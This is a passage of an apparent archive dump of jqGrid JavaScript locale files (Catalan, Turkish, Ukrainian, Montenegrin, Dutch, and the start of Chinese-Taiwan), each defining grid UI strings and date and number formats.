12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-ca.js000064400000014136151677266200010446 0ustar00/** * jqGrid Catalan Translation * Traducció jqGrid en Catatà per Faserline, S.L. * http://www.faserline.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ca"] = { defaults : { recordtext: "Mostrant {0} - {1} de {2}", emptyrecords: "Sense registres que mostrar", loadtext: "Carregant...", savetext: "Saving...", pgtext : "Pàgina {0} de {1}", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Cerca...", Find: "Cercar", Reset: "Buidar", odata: [{ oper:'eq', text:"equal"},{ oper:'ne', text:"not equal"},{ oper:'lt', text:"less"},{ oper:'le', text:"less or equal"},{ oper:'gt', text:"greater"},{ oper:'ge', text:"greater or equal"},{ oper:'bw', text:"begins with"},{ oper:'bn', text:"does not begin with"},{ oper:'in', text:"is in"},{ oper:'ni', text:"is not in"},{ oper:'ew', text:"ends with"},{ oper:'en', text:"does not end with"},{ oper:'cn', text:"contains"},{ oper:'nc', text:"does not contain"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "tot" }, { op: "OR", text: "qualsevol" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Afegir registre", editCaption: "Modificar registre", bSubmit: "Guardar", bCancel: "Cancelar", bClose: "Tancar", saveData: "Les dades han canviat. Guardar canvis?", bYes : "Yes", bNo : "No", bExit : "Cancel", msg: { required:"Camp obligatori", number:"Introdueixi un nombre", minValue:"El valor ha de ser major o igual que ", maxValue:"El valor ha de ser menor o igual a ", email: "no és una direcció de correu vàlida", integer: "Introdueixi un valor enter", date: "Introdueixi una data correcta ", url: "no és una URL vàlida. Prefix requerit ('http://' or 'https://')", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Veure registre", bClose: "Tancar" }, del : { caption: "Eliminar", msg: "¿Desitja eliminar els registres seleccionats?", bSubmit: "Eliminar", bCancel: "Cancelar" }, nav : { edittext: " ", edittitle: "Modificar fila seleccionada", addtext:" ", addtitle: "Agregar nova fila", deltext: " ", deltitle: "Eliminar fila seleccionada", searchtext: " ", searchtitle: "Cercar informació", refreshtext: "", refreshtitle: "Refrescar taula", alertcap: "Avís", alerttext: "Seleccioni una fila", viewtext: " ", viewtitle: "Veure fila seleccionada", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, // setcolumns module col : { caption: "Mostrar/ocultar columnes", bSubmit: "Enviar", bCancel: "Cancelar" }, errors : { errcap : "Error", nourl : "No s'ha especificat una URL", norecords: "No hi ha dades per processar", model : "Les columnes de noms són diferents de les columnes del model" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Dg", "Dl", "Dt", "Dc", "Dj", "Dv", "Ds", "Diumenge", "Dilluns", "Dimarts", "Dimecres", "Dijous", "Divendres", "Dissabte" ], monthNames: [ "Gen", "Febr", "Març", "Abr", "Maig", "Juny", "Jul", "Ag", "Set", "Oct", "Nov", "Des", "Gener", "Febrer", "Març", "Abril", "Maig", "Juny", "Juliol", "Agost", "Setembre", "Octubre", "Novembre", "Desembre" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd-m-Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: 'show', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-tr.js000064400000014242151677266200010506 0ustar00/** * jqGrid Turkish Translation * Erhan Gündoğan (erhan@trposta.net) * http://blog.zakkum.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["tr"] = { defaults : { recordtext: "{0}-{1} listeleniyor. Toplam:{2}", emptyrecords: "Kayıt bulunamadı", loadtext: "Yükleniyor...", pgtext : "{0}/{1}. Sayfa", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Arama...", Find: "Bul", Reset: "Temizle", odata: [{ oper:'eq', text:"eşit"},{ oper:'ne', text:"eşit değil"},{ oper:'lt', text:"daha az"},{ oper:'le', text:"daha az veya eşit"},{ oper:'gt', text:"daha fazla"},{ oper:'ge', text:"daha fazla veya eşit"},{ oper:'bw', text:"ile başlayan"},{ oper:'bn', text:"ile başlamayan"},{ oper:'in', text:"içinde"},{ oper:'ni', text:"içinde değil"},{ oper:'ew', text:"ile biten"},{ oper:'en', text:"ile bitmeyen"},{ oper:'cn', text:"içeren"},{ oper:'nc', text:"içermeyen"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "VE", text: "tüm" }, { op: "VEYA", text: "herhangi" }], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Kayıt Ekle", editCaption: "Kayıt Düzenle", bSubmit: "Gönder", bCancel: "İptal", bClose: "Kapat", saveData: "Veriler değişti! Kayıt edilsin mi?", bYes : "Evet", bNo : "Hayıt", bExit : "İptal", msg: { required:"Alan gerekli", number:"Lütfen bir numara giriniz", minValue:"girilen değer daha büyük ya da buna eşit olmalıdır", maxValue:"girilen değer daha küçük ya da buna eşit olmalıdır", email: "geçerli bir e-posta adresi değildir", integer: "Lütfen bir tamsayı giriniz", url: "Geçerli bir URL değil. ('http://' or 'https://') ön eki gerekli.", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Kayıt Görüntüle", bClose: "Kapat" }, del : { caption: "Sil", msg: "Seçilen kayıtlar silinsin mi?", bSubmit: "Sil", bCancel: "İptal" }, nav : { edittext: " ", edittitle: "Seçili satırı düzenle", addtext:" ", addtitle: "Yeni satır ekle", deltext: " ", deltitle: "Seçili satırı sil", searchtext: " ", searchtitle: "Kayıtları bul", refreshtext: "", refreshtitle: "Tabloyu yenile", alertcap: "Uyarı", alerttext: "Lütfen bir satır seçiniz", viewtext: "", viewtitle: "Seçilen satırı görüntüle", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Sütunları göster/gizle", bSubmit: "Gönder", bCancel: "İptal" }, errors : { errcap : "Hata", nourl : "Bir url yapılandırılmamış", norecords: "İşlem yapılacak bir kayıt yok", model : "colNames uzunluğu <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Paz", "Pts", "Sal", "Çar", "Per", "Cum", "Cts", "Pazar", "Pazartesi", "Salı", "Çarşamba", "Perşembe", "Cuma", "Cumartesi" ], monthNames: [ "Oca", "Şub", "Mar", "Nis", "May", "Haz", "Tem", "Ağu", "Eyl", "Eki", "Kas", "Ara", "Ocak", "Şubat", "Mart", "Nisan", "Mayıs", "Haziran", "Temmuz", "Ağustos", "Eylül", "Ekim", "Kasım", "Aralık" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-uk.js000064400000016366151677266200010511 0ustar00/** * jqGrid Ukrainian Translation v1.0 02.07.2009 * Sergey Dyagovchenko * http://d.sumy.ua * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ua"] = { defaults : { recordtext: "Перегляд {0} - {1} з {2}", emptyrecords: "Немає записів для перегляду", loadtext: "Завантаження...", pgtext : "Стор. {0} з {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Пошук...", Find: "Знайти", Reset: "Скидання", odata: [{ oper:'eq', text:"рівно"},{ oper:'ne', text:"не рівно"},{ oper:'lt', text:"менше"},{ oper:'le', text:"менше або рівне"},{ oper:'gt', text:"більше"},{ oper:'ge', text:"більше або рівне"},{ oper:'bw', text:"починається з"},{ oper:'bn', text:"не починається з"},{ oper:'in', text:"знаходиться в"},{ oper:'ni', text:"не знаходиться в"},{ oper:'ew', text:"закінчується на"},{ oper:'en', text:"не закінчується на"},{ oper:'cn', text:"містить"},{ oper:'nc', text:"не містить"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "все" }, { op: "OR", text: "будь-який" }], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Додати запис", editCaption: "Змінити запис", bSubmit: "Зберегти", bCancel: "Відміна", bClose: "Закрити", saveData: "До данних були внесені зміни! Зберегти зміни?", bYes : "Так", bNo : "Ні", bExit : "Відміна", msg: { required:"Поле є обов'язковим", number:"Будь ласка, введіть правильне число", minValue:"значення повинне бути більше або дорівнює", maxValue:"значення повинно бути менше або дорівнює", email: "некоректна адреса електронної пошти", integer: "Будь ласка, введення дійсне ціле значення", date: "Будь ласка, введення дійсне значення дати", url: "не дійсний URL. Необхідна приставка ('http://' or 'https://')", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Переглянути запис", bClose: "Закрити" }, del : { caption: "Видалити", msg: "Видалити обраний запис(и)?", bSubmit: "Видалити", bCancel: "Відміна" }, nav : { edittext: " ", edittitle: "Змінити вибраний запис", addtext:" ", addtitle: "Додати новий запис", deltext: " ", deltitle: "Видалити вибраний запис", searchtext: " ", searchtitle: "Знайти записи", refreshtext: "", refreshtitle: "Оновити таблицю", alertcap: "Попередження", alerttext: "Будь ласка, виберіть запис", viewtext: "", viewtitle: "Переглянути обраний запис", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Показати/Приховати стовпці", bSubmit: "Зберегти", bCancel: "Відміна" }, errors : { errcap : "Помилка", nourl : "URL не задан", norecords: "Немає записів для обробки", model : "Число полів не відповідає числу стовпців таблиці!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Нд", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб", "Неділя", "Понеділок", "Вівторок", "Середа", "Четвер", "П'ятниця", "Субота" ], monthNames: [ "Січ", "Лют", "Бер", "Кві", "Тра", "Чер", "Лип", "Сер", "Вер", "Жов", "Лис", "Гру", "Січень", "Лютий", "Березень", "Квітень", "Травень", "Червень", "Липень", "Серпень", "Вересень", "Жовтень", "Листопад", "Грудень" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd.m.Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n.j.Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y G:i:s", MonthDay: "F d", ShortTime: "G:i", LongTime: "G:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-me.js000064400000014204151677266200010460 0ustar00/** * jqGrid Montenegrian Translation * Bild Studio info@bild-studio.net * http://www.bild-studio.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["me"] = { defaults : { recordtext: "Pregled {0} - {1} od {2}", emptyrecords: "Ne postoji nijedan zapis", loadtext: "Učitivanje...", pgtext : "Strana {0} od {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Traženje...", Find: "Traži", Reset: "Resetuj", odata: [{ oper:'eq', text:"jednako"},{ oper:'ne', text:"nije jednako"},{ oper:'lt', text:"manje"},{ oper:'le', text:"manje ili jednako"},{ oper:'gt', text:"veće"},{ oper:'ge', text:"veće ili jednako"},{ oper:'bw', text:"počinje sa"},{ oper:'bn', text:"ne počinje sa"},{ oper:'in', text:"je u"},{ oper:'ni', text:"nije u"},{ oper:'ew', text:"završava sa"},{ oper:'en', text:"ne završava sa"},{ oper:'cn', text:"sadrži"},{ oper:'nc', text:"ne sadrži"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "sva" }, { op: "OR", text: "bilo koje" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Dodaj zapis", editCaption: "Izmjeni zapis", bSubmit: "Pošalji", bCancel: "Odustani", bClose: "Zatvori", saveData: "Podatak je izmjenjen! Sačuvaj izmjene?", bYes : "Da", bNo : "Ne", bExit : "Odustani", msg: { required:"Polje je obavezno", number:"Unesite ispravan broj", minValue:"vrijednost mora biti veća od ili jednaka sa ", maxValue:"vrijednost mora biti manja ili jednaka sa", email: "nije ispravna email adresa, nije valjda da ne umiješ ukucati mail!?", integer: "Ne zajebaji se unesi cjelobrojnu vrijednost ", date: "Unesite ispravan datum", url: "nije ispravan URL. Potreban je prefiks ('http://' or 'https://')", nodefined : " nije definisan!", novalue : " zahtjevana je povratna vrijednost!", customarray : "Prilagođena funkcija treba da vrati niz!", customfcheck : "Prilagođena funkcija treba da bude prisutana u slučaju prilagođene provjere!" } }, view : { caption: "Pogledaj zapis", bClose: "Zatvori" }, del : { caption: "Izbrisi", msg: "Izbrisi izabran(e) zapise(e)?", bSubmit: "Izbriši", bCancel: "Odbaci" }, nav : { edittext: "", edittitle: "Izmjeni izabrani red", addtext:"", addtitle: "Dodaj novi red", deltext: "", deltitle: "Izbriši izabran red", searchtext: "", searchtitle: "Nađi zapise", refreshtext: "", refreshtitle: "Ponovo učitaj podatke", alertcap: "Upozorenje", alerttext: "Izaberite red", viewtext: "", viewtitle: "Pogledaj izabrani red", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Izaberi kolone", bSubmit: "OK", bCancel: "Odbaci" }, errors : { errcap : "Greška", nourl : "Nije postavljen URL", norecords: "Nema zapisa za obradu", model : "Dužina modela colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Ned", "Pon", "Uto", "Sre", "Čet", "Pet", "Sub", "Nedelja", "Ponedeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Avg", "Sep", "Okt", "Nov", "Dec", "Januar", "Februar", "Mart", "April", "Maj", "Jun", "Jul", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-nl.js000064400000016404151677266200010474 0ustar00//NETHERLANDS /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["nl"] = { defaults: { recordtext: "regels {0} - {1} van {2}", emptyrecords: "Geen data gevonden.", loadtext: "Laden...", pgtext: "pagina {0} van {1}", savetext: "Saving...", pgfirst : "Eerste Pagina", pglast : "Laatste Pagina", pgnext : "Volgende Pagina", pgprev : "Vorige Pagina", pgrecs : "Records per Pagina", showhide: "Schakelen Uitklappen Inklappen Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search: { caption: "Zoeken...", Find: "Zoek", Reset: "Herstellen", odata: [{ oper:'eq', text:"gelijk aan"},{ oper:'ne', text:"niet gelijk aan"},{ oper:'lt', text:"kleiner dan"},{ oper:'le', text:"kleiner dan of gelijk aan"},{ oper:'gt', text:"groter dan"},{ oper:'ge', text:"groter dan of gelijk aan"},{ oper:'bw', text:"begint met"},{ oper:'bn', text:"begint niet met"},{ oper:'in', text:"is in"},{ oper:'ni', text:"is niet in"},{ oper:'ew', text:"eindigt met"},{ oper:'en', text:"eindigt niet met"},{ oper:'cn', text:"bevat"},{ oper:'nc', text:"bevat niet"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [{ op: "AND", text: "alle" }, { op: "OR", text: "een van de"}], operandTitle : "Klik om de zoekterm te selecteren.", resetTitle : "Herstel zoekterm", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit: { addCaption: "Nieuw", editCaption: "Bewerken", bSubmit: "Opslaan", bCancel: "Annuleren", bClose: "Sluiten", saveData: "Er is data aangepast! Wijzigingen opslaan?", bYes: "Ja", bNo: "Nee", bExit: "Sluiten", msg: { required: "Veld is verplicht", number: "Voer a.u.b. geldig nummer in", minValue: "Waarde moet groter of gelijk zijn aan ", maxValue: "Waarde moet kleiner of gelijk zijn aan", email: "is geen geldig e-mailadres", integer: "Voer a.u.b. een geldig getal in", date: "Voer a.u.b. een geldige waarde in", url: "is geen geldige URL. Prefix is verplicht ('http://' or 'https://')", nodefined : " is niet gedefineerd!", novalue : " return waarde is verplicht!", customarray : "Aangepaste functie moet array teruggeven!", customfcheck : "Aangepaste function moet aanwezig zijn in het geval van aangepaste controle!" } }, view: { caption: "Tonen", bClose: "Sluiten" }, del: { caption: "Verwijderen", msg: "Verwijder geselecteerde regel(s)?", bSubmit: "Verwijderen", bCancel: "Annuleren" }, nav: { edittext: "", edittitle: "Bewerken", addtext: "", addtitle: "Nieuw", deltext: "", deltitle: "Verwijderen", searchtext: "", searchtitle: "Zoeken", refreshtext: "", refreshtitle: "Vernieuwen", alertcap: "Waarschuwing", alerttext: "Selecteer a.u.b. een regel", viewtext: "", viewtitle: "Openen", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col: { caption: "Tonen/verbergen kolommen", bSubmit: "OK", bCancel: "Annuleren" }, errors: { errcap: "Fout", nourl: "Er is geen URL gedefinieerd", norecords: "Geen data om te verwerken", model: "Lengte van 'colNames' is niet gelijk aan 'colModel'!" }, formatter: { integer: { thousandsSeparator: ".", defaultValue: "0" }, number: { decimalSeparator: ",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: "0.00" }, currency: { decimalSeparator: ",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "EUR ", suffix: "", defaultValue: "0.00" }, date: { dayNames: ["Zo", "Ma", "Di", "Wo", "Do", "Vr", "Za", "Zondag", "Maandag", "Dinsdag", "Woensdag", "Donderdag", "Vrijdag", "Zaterdag"], monthNames: ["Jan", "Feb", "Maa", "Apr", "Mei", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "Januari", "Februari", "Maart", "April", "Mei", "Juni", "Juli", "Augustus", "September", "October", "November", "December"], AmPm: ["am", "pm", "AM", "PM"], S: function(b) { return b < 11 || b > 13 ? ["st", "nd", "rd", "th"][Math.min((b - 1) % 10, 3)] : "th" }, srcformat: "Y-m-d", newformat: "d/m/Y", parseRe : /[#%\\\/:_;.,\t\s-]/, masks: { ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l d F Y G:i:s", MonthDay: "d F", ShortTime: "G:i", LongTime: "G:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit: false, userLocalTime : false }, baseLinkUrl: "", showAction: "", target: "", checkbox: { disabled: true }, idName: "id" }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-tw.js000064400000013346151677266200010517 0ustar00/** * jqGrid Chinese (Taiwan) Translation for v4.2 * linquize * https://github.com/linquize/jqGrid * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["tw"] = { defaults : { recordtext: "{0} - {1} 共 {2} 條", emptyrecords: "沒有記錄", loadtext: "載入中...", pgtext : " {0} 